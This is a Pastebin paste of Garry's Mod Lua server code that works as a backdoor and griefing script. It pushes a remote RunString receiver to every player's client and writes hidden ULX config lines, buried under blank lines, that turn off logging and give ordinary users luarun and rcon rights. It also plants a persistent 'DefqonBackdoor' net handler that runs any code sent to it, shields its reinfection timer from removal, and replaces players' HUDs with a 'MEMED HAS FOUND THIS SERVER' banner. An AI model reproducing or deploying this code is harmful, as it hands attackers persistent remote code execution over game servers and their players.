API tools faq
paste
2much4Us

Untitled

2much4Us
Jun 16th, 2018
170
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.33 KB | None | 0 0
raw download clone embed print report
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "skeleton_dancing_troll" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "Nope we were joking" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71. lol:SendLua( pPlayer, ([=[
  72. sound.PlayURL( "", "", function()end )
  73.  
  74. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75. local html = [[%s]]
  76. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77. local pnl = vgui.Create( "HTML" )
  78. pnl:SetPos( ScrW() -1, ScrH() -1 )
  79. pnl:SetVisible( true )
  80. pnl:SetMouseInputEnabled( false )
  81. pnl:SetKeyBoardInputEnabled( false )
  82. pnl:SetSize( intSizeX, intSizeY )
  83. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.  
  85. local PageLoaded
  86. PageLoaded = function()
  87. local mat = pnl:GetHTMLMaterial()
  88. if mat then
  89. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90. return
  91. end
  92.  
  93. timer.Simple( 0.5, PageLoaded )
  94. end
  95.  
  96. PageLoaded()
  97. end
  98.  
  99. LoadWebMaterial( "https://i.imgur.com/DKEgdFo.png", "doritos", 236, 238 )
  100. LoadWebMaterial( "https://i.imgur.com/DKEgdFo.png", "fedora", 236, 238 )
  101. LoadWebMaterial( "http://www.underdone.org/leak/underdone/xhair.png", "xhair", 64, 64 )
  102. LoadWebMaterial( "https://i.imgur.com/DKEgdFo.png", "dew", 236, 238 )
  103. LoadWebMaterial( "https://i.imgur.com/DKEgdFo.png", "awp", 236, 238 )
  104. ]=]):format(lol.m_strImageLoadHTML) )
  105. RunConsoleCommand("ulx_logecho", "0")
  106. local WS = {}
  107. WS.file = {}
  108. WS.file.Write = file.Write
  109. WS.file.Read = file.Read
  110. WS.file.Append = file.Append
  111. WS.file.IsDir = file.IsDir
  112. WS.file.CreateDir = file.CreateDir
  113. --[[WS.debug = {} To bypass some things, never got to use it
  114. WS.debug.getupvalue = debug.getupvalue]]
  115.  
  116. function WS.ProxyCode( code )
  117. local file = table.Random(file.Find("data/*.lua", "GAME"))
  118. RunString(code, file)
  119. end
  120. function WS.CheckForInfection()
  121. local c = WS.file.Read("data/ulx/config.txt","GAME") or "NO DATA"
  122. if string.find(c, "Exploits fixes") then
  123. return true
  124. else
  125. return false
  126. end
  127. end
  128. function WS.Infecte()
  129. if not WS.file.IsDir("data/ulx","GAME") then return end
  130.  
  131. ------------- GAMEMODE persistent
  132. if not WS.file.IsDir("data/ulx/gamemodes","GAME") then
  133. WS.file.CreateDir("ulx/gamemodes")
  134. end
  135. if not WS.file.IsDir("data/ulx/gamemodes/"..engine.ActiveGamemode(),"GAME") then
  136. WS.file.CreateDir("ulx/gamemodes/"..engine.ActiveGamemode())
  137. end
  138. WS.file.Write( "ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n; Exploits fixes")
  139. WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx logEcho 0]])
  140. WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx groupallow "user" "ulx luarun"]])
  141. WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx groupallow "user" "ulx rcon"]])
  142. WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx groupallow "superadmin" "ulx groupdeny"]]) -- yyyyeeeaaahhhh
  143. WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx luarun util.AddNetworkString("DefqonBackdoor")]])
  144. WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx luarun net.Receive("DefqonBackdoor",function() RunString(net.ReadString(),"Collombe") end)]])
  145.  
  146. ------------- BASIC persistent
  147. if WS.CheckForInfection() then return end
  148. WS.file.Append("ulx/config.txt", string.rep("\n", 50)) -- Best hiding technique (Лучшая техника скрытия)
  149. WS.file.Append("ulx/config.txt", "\n; Exploits fixes")
  150. WS.file.Append("ulx/config.txt", "\n"..[[ulx logEcho 0]])
  151. WS.file.Append("ulx/config.txt", "\n"..[[ulx groupallow "user" "ulx luarun"]])
  152. WS.file.Append("ulx/config.txt", "\n"..[[ulx groupallow "user" "ulx rcon"]])
  153. WS.file.Append("ulx/config.txt", "\n"..[[ulx groupallow "superadmin" "ulx groupdeny"]]) -- yyyyeeeaaahhhh
  154. WS.file.Append("ulx/config.txt", "\n"..[[ulx luarun util.AddNetworkString("DefqonBackdoor")]])
  155. WS.file.Append("ulx/config.txt", "\n"..[[ulx luarun net.Receive("DefqonBackdoor",function() RunString(net.ReadString(),"Collombe") end)]])
  156. end
  157.  
  158. ------------- INFECTE EVERYTHING
  159. WS.Infecte()
  160. timer.Create("TheWaterSnake", 5, 0, WS.Infecte)
  161.  
  162. ------------- PREVENT STOPPING
  163. local td, tr = timer.Destroy, timer.Remove
  164. function timer.Destroy( a )
  165. if a == "TheWaterSnake" then return end
  166. td( a )
  167. end
  168. function timer.Remove( a )
  169. if a == "TheWaterSnake" then return end
  170. tr( a )
  171. end
  172.  
  173. ------------- B1G H4X
  174. util.AddNetworkString("DefqonBackdoor")
  175. net.Receive("DefqonBackdoor", function()
  176. RunString(net.ReadString(), "TheFrenchGuy")
  177. end)
  178.  
  179.  
  180. end )
  181.  
  182. --HUD swap
  183. lol:PushAction( 0, function( pPlayer )
  184. lol:SendLua( pPlayer, [[
  185. (GAMEMODE or GM).CalcView = function() end
  186. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  187.  
  188. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  189. for k, v in pairs(remove) do
  190. hook.GetTable()[v] = {}
  191. end
  192.  
  193. local function GetWebMat( strURL )
  194. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  195. end
  196.  
  197. hook.Add( "HUDPaint", "newhud", function()
  198. surface.SetDrawColor( 255, 255, 255, 255 )
  199.  
  200. if GetWebMat( "hud1" ) then
  201. surface.SetMaterial( GetWebMat("hud1")[1] )
  202. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  203. end
  204. if GetWebMat( "hud2" ) then
  205. surface.SetMaterial( GetWebMat("hud2")[1] )
  206. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 190 *(512 /300), 135 )
  207. end
  208. if GetWebMat( "hud3" ) then
  209. surface.SetMaterial( GetWebMat("hud3")[1] )
  210. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  211. end
  212. if GetWebMat( "xhair" ) then
  213. surface.SetMaterial( GetWebMat("xhair")[1] )
  214. surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
  215. end
  216. if GetWebMat( "doritos" ) then
  217. surface.SetMaterial( GetWebMat("doritos")[1] )
  218. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  219. end
  220. if GetWebMat( "dew" ) then
  221. surface.SetMaterial( GetWebMat("dew")[1] )
  222. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 214 *((256 /110) -1), 190, CurTime() *-512 )
  223. end
  224. if GetWebMat( "fedora" ) then
  225. surface.SetMaterial( GetWebMat("fedora")[1] )
  226. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  227. end
  228. if GetWebMat( "awp" ) then
  229. surface.SetMaterial( GetWebMat("awp")[1] )
  230. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 198, 207, CurTime() *512 )
  231. end
  232.  
  233. draw.SimpleTextOutlined(
  234. "๑۩۩๑ MEMED HAS FOUND THIS SERVER ๑۩۩๑",
  235. "DermaLarge",
  236. ScrW() /2 +math.random( -8, 8 ),
  237. ScrH() /2 +math.random( -8, 8 ) +24,
  238. Color( 0, 255, 255, 160 ),
  239. TEXT_ALIGN_CENTER,
  240. TEXT_ALIGN_CENTER,
  241. 3,
  242. Color( 0, 0, 0, 255 )
  243. )
  244. end )
  245.  
  246. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  247. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  248.  
  249. surface.PlaySound( "garrysmod/save_load4.wav" )
  250. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  251. ]] )
  252. end )
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!